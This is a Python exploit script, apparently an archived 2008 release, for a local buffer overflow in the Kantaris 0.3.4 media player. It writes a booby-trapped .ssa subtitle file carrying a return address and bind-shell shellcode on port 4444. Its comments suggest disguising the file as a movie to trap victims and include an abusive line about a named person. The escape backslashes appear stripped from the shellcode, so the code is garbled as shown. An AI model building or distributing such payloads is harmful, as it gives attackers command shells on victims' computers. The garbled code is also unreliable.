#!/usr/bin/python
#
# Kantaris 0.3.4 Media Player Local Buffer Overflow [0day!]
#
# The following exploit will make a film.ssa file, 
# just rename the file with the name of your movie, and use your imagination

# to pwn! :)
# Shellcode is local bind shell, just telnet to port:4444 to get command prompt :)
#
# BIG thanks to muts <muts[at]offensive-security[dot]com> for helping
# and discovering a very interesting thing that we will publish soon

# 
# I piss on your Business Networks course Igor Radusinovic! Go to hell!
#
# Vulnerability discovered by Muris Kurgas a.k.a. j0rgan
# jorganwd [at] gmail [dot] com
# http://www.jorgan.users.cg.yu


import os

jmp = 'xCCx59xFBx77' # Windows XP sp1 JMP ESP, u can change it...

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
sc=("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"

"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"

"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e"
"x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48"
"x4ex36x46x52x46x32x4bx38x45x54x4ex43x4bx48x4ex37"

"x45x50x4ax37x41x50x4fx4ex4bx38x4fx44x4ax51x4bx38"
"x4fx45x42x52x41x30x4bx4ex49x54x4bx48x46x43x4bx48"
"x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c"

"x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x4ax32x45x57x45x4ex4bx48"
"x4fx35x46x42x41x30x4bx4ex48x36x4bx58x4ex50x4bx44"

"x4bx48x4fx45x4ex51x41x50x4bx4ex43x50x4ex52x4bx48"
"x49x38x4ex36x46x42x4ex51x41x46x43x4cx41x33x4bx4d"
"x46x56x4bx58x43x54x42x33x4bx48x42x34x4ex50x4bx38"

"x42x57x4ex31x4dx4ax4bx38x42x34x4ax50x50x35x4ax36"
"x50x48x50x54x50x50x4ex4ex42x55x4fx4fx48x4dx48x56"
"x43x35x48x56x4ax56x43x53x44x53x4ax36x47x37x43x57"

"x44x33x4fx55x46x35x4fx4fx42x4dx4ax56x4bx4cx4dx4e"
"x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx45x49x48x45x4e"
"x48x46x41x58x4dx4ex4ax50x44x30x45x55x4cx46x44x50"

"x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55"
"x4fx4fx48x4dx43x45x43x45x43x55x43x55x43x45x43x34"
"x43x55x43x34x43x55x4fx4fx42x4dx48x46x4ax56x41x51"

"x4ex55x48x46x43x45x49x58x41x4ex45x49x4ax56x46x4a"
"x4cx51x42x47x47x4cx47x35x4fx4fx48x4dx4cx56x42x31"
"x41x45x45x45x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x52"

"x49x4ex47x35x4fx4fx48x4dx43x35x45x35x4fx4fx42x4d"
"x4ax36x45x4ex49x34x48x38x49x54x47x45x4fx4fx48x4d"
"x42x45x46x55x46x35x45x55x4fx4fx42x4dx43x59x4ax46"

"x47x4ex49x57x48x4cx49x47x47x35x4fx4fx48x4dx45x45"
"x4fx4fx42x4dx48x56x4cx46x46x56x48x46x4ax36x43x36"
"x4dx56x49x38x45x4ex4cx56x42x55x49x55x49x42x4ex4c"

"x49x58x47x4ex4cx36x46x54x49x58x44x4ex41x43x42x4c"
"x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x54x4ex42"
"x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax46"

"x44x57x50x4fx43x4bx48x31x4fx4fx45x37x46x54x4fx4f"
"x48x4dx4bx55x47x55x44x45x41x55x41x55x41x35x4cx46"
"x41x30x41x35x41x55x45x55x41x35x4fx4fx42x4dx4ax46"

"x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36"
"x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx58x47x35x4ex4f"
"x43x48x46x4cx46x56x4fx4fx48x4dx44x35x4fx4fx42x4d"

"x4ax36x42x4fx4cx38x46x50x4fx35x43x55x4fx4fx48x4d"
"x4fx4fx42x4dx5a")

bafer = 'x41' * 163868 + jmp + "x90" * 32 + sc

fileHandle = open ( 'film.ssa', 'w' )

fileHandle.write ( '[Script Info]n') 
fileHandle.write ( 'ScriptType: v4.00n')
fileHandle.write ( 'Title: Kantaris 0.3.4 buffer-overflown')
fileHandle.write ( 'Collisions: Normalnn')

fileHandle.write ( '[V4 Styles]nn')
fileHandle.write ( '[Events]n')

fileHandle.write ( 'Dialogue: '+ bafer)
fileHandle.close() 

# www.Syue.com [2008-04-25]